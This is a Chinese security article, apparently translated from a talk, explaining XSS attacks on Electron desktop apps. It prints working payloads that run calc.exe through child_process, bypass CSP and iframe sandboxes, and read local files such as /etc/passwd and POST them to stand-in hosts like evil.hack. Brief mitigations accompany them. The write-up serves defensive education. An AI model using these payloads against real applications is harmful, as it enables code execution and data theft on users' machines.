作者:二向箔安全
基于 Electron 的 XSS 攻击实例,远比你想象的简单。
也许你从未听说过跨平台 XSS,也从未听说过 Electron, 但你肯定知道 GitHub,或者使用过著名的 Atom 编辑器, 比如正在尝试翻译这篇文章的笔者,正在使用 Atom 来编写 Markdown。 Electron 优秀的跨平台特性,是本文的基础。
简单来说,Electron 是一个框架,用于方便开发者创建跨平台应用。 开发者可以通过它来使用 HTML + JavaScript 来开发桌面应用。 Electron 的用户非常广泛,因为它确实可以为不同平台提供同样的体验。
与传统观念的所谓“桌面应用”不同, Electron 应用包括两个部分(Node.js 和 Chromium)作为运行环境。 分别支持一个主进程和一个渲染进程, 其中,主进程是一个非常 Node.js 风格的进程, 而渲染进程是一个可以运行 Node.js 代码的 Chromium 内核浏览器。
由上文我们得知,Electron 应用是非常特殊的, 它本身是一个二进制应用,而渲染进程则是一个浏览器, 而 Electron 自身又具有很多的特性,所以,我们将从三个方面分析。
我们已知 Electron 的渲染进程是由 Chromium + Node.js 构成, 那么我们可以从分析传统 Web 应用的角度,得出这样的结论:
所以,使用传统的 Web 应用分析套路来处理 Electron 是十分必要的。
众所周知,DOM-Based XSS 的频发主要是因为 DOM 相关处理不当。 DOM-Based XSS 是因未经转义的用户输入被直接生成为 HTML 而产生。 一般而言,随着 DOM 操作的增多,DOM-Based XSS 发生的概率也会大大提高。 下面是两段 Electron 应用存在 DOM-Based XSS 的示例代码:
// Demo 1 fs.readFile( filename, (err,data) => { if(!err) element.innerHTML = data; //XSS! }); // Demo 2 fs.readdir( dirname, (err,files) => { files.forEach( (filename) => { let elm = document.createElement( "div" ); elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS! paerntElm.appendChild( elm ); }); });
对于 Electron 应用而言,一旦 DOM-Based XSS 发生将是灾难性的。 原因是:Node.js 在很多情况下是可以被攻击者进行代码注入的! 除此之外,一般观念里的 XSS = ALERT 在这里是不适用的。
XSS 还有诸多玩法:
也就是说,通过 DOM-Based XSS 可能被用于执行二进制代码。 在后文中,我们将详细地研究在 Electron 中的 DOM-Based XSS。
现在我们进行一个对比, 对比传统的 Web 应用中的 XSS、浏览器沙盒中的 XSS 和 Electron 中的 XSS。
传统的 XSS 危害
Electron 的 DOM-Based XSS 使任意代码执行变为可能。 这意味着,DOM-Based XSS 获得了如同缓冲区溢出的攻击效果。
与传统的 DOM-Based XSS 相比,Electron 中的 DOM-Based:
因此,Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:
// xss_source 是攻击者可以控制的字符串 elm.innerHTML = xss_source; // XSS!
攻击者可以以下面的方式利用:
// 弹计算器 <img src=# onerror="require('child_process').exec('calc.exe',null);"> // 读取本地文件并发送 <img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8'); fetch('http://evil.hack/', { method:'POST', body:s });">
很多开发者使用 CSP 来限制 XSS 带来的影响, 那么这种方法是否适用于 Electron 的 DOM-Based XSS 呢? 答案是否定的。下面我们将通过几个例子来讲解。
<!-- 这是一个渲染器中的示例,可以看到 CSP 设置 --> <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body>
在这种情况下,我们可以通过meta refresh来穿过 CSP:
// 这是 index.js 中的内容 elm.innerHTML = xss_source; // XSS! // 这是我们对 xss_source 的控制 xss_source = '<meta http-equiv="refresh" content="0;http://evil.hack/">'; // 这是 evil.hack 中的<script>脚本内容 require('child_process').exec('calc.exe',null);
以上过程成功地弹出了计算器。也就是说,Node 语句依然有效。 下面,我们介绍另一种思路,依然是先看一个示例:
<!-- 这是一个渲染器中的示例,可以看到 CSP 设置 --> <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> // index.js iframe.setAttribute("src", xss_source); // XSS! // 这是 main.js 的节选 win = new BrowserWindow({width:600, height:400}); win.loadURL(`file://${__dirname}/index.html`);
在这种情况下,我们可以构建:
xss_source = 'file://remote-server/share/trap.html'; // 下面是 trap.html 中的脚本 window.top.location=`data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>`;
此方法依然成功的绕过了 CSP 限制, 原因是在 main.js
中的 file://
与 trap.html
中的 file://
被认为是同源的。
接下来要内容是分析 Electron 自身带有的丰富的 API、函数和标签带来的安全问题。
我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:
// main.js 节选 win = new BrowserWindow({ webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`);
这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。
如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。
var xhr = new XMLHttpRequest(); xhr.open("GET", "file://c:/file.txt", true); xhr.onload = () => { fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText}); }; xhr.send( null );
通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。
iframe 的沙盒可以用于限制 DOM 操作访问沙盒内部,从而降低 XSS 威胁性, 即使是 DOM-Based XSS 在 iframe 中发生,影响也十分有限。 比如如下的情况,在外部控制 iframe 是无效的。
<iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg>'test'</div>..."></iframe> <script> ... document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML ="Hello, XSS!<script>alert(1)<\/script>"; // not work </script>
下面是一些常用的 sandbox params:
下面是一个启用allow-popups的例子,以此来说明影响:
<iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe> <script> ... var xss = `<a target="_blank" href="data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>">Click</a>`; document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML = xss; </script>
在这种情况下,用户一旦点击,就会弹出窗口。 根据默认可执行 Node 语句的特性,弹出计算器。
webview 标签是用于在 Electron 中打开其它页面使用的。
window.open()
、<a target=_blank>
等语句打开新窗口<webview src="http://example.jp/" preload="./prealod.js"></webview> //preload.js window.loadConfig = function(){ let file = `${__dirname}/config.json`; let s = require("fs").readFileSync( file, "utf-8" ); return JSON.eval( s ); };
通常情况下,开发者会将存在的 Web App 变为一个 Native App, 然后,在 webview 中启动存在的 Web App. 在这里容易出现的问题是,开发者常常需要使用第三方服务接入此页面。
比如第三方广告、视频播放脚本等,它们具有完整能力。 比如执行任意的 JavaScript、构造假页面、污染页面等, 如果这个 webview 可以使用 Node,那就更有意思了。
<body> <webview src="http://test.cn/"></webview> <script src="native-apps.js"></script> </body>
通常的应对之策也易于理解:控制第三方内容的权限,比如通过 iframe 沙盒, 但这不适用于某些嵌入式 JavaScript 广告。 对于 Web App 来说,还有地址栏这个东西,可以让用户自己确认站点是否有效;
浏览器的存在和同源策略大大限制了其影响。 但对于 Electron 来说,没有地址栏,这带来了很大的风险。 更重要的是,一旦 Node 语句被允许执行,威胁能力将大大提高。
下面我们介绍如何利用存在allowpopups设置的 webview:
<webview src="http://test.cn/" allowpopups></webview>
攻击主要原因是在 window.open 中,file://
依然可用, 这使得攻击者在可以进行与前文类似的本地文件读取等操作。
// http://test.cn window.open("file://remote-server/share/trap.html"); // trap.html var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://C:/secret.txt", true );
解决方案很简单:
shell.openExternal
与 shell.openItem
是 Electron 用于打开外部程序的 API。
const {shell} = require('electron'); const url = 'http://example.cn/'; shell.openExternal(url); // 打开系统默认浏览器 shell.openItem( url ); let file = 'C:/Users/test/test.txt'; shell.openExternal( file ); // 打开文件 shell.openItem( file ); let file = ''file://C:/Users/test/test.txt';'; shell.openExternal( file ); // 打开文件 shell.openItem( file );
常见的情况是 Electron 调用外部浏览器打开,如下:
webview.on( 'new-window', (e) => { shell.openExternal( e.url ); // 系统浏览器打开 });
此时,如何攻击者可以构造 URL 如下,则可以执行任意程序。 需要注意:此处不能传递参数。
<a href="file://c:/windows/system32/calc.exe">Click</a>
应对之策也很简单,检查 URL 合法性即可(如匹配协议等)。
http://utf-8.jp/cb2016/cb-hasegawa-en.pdf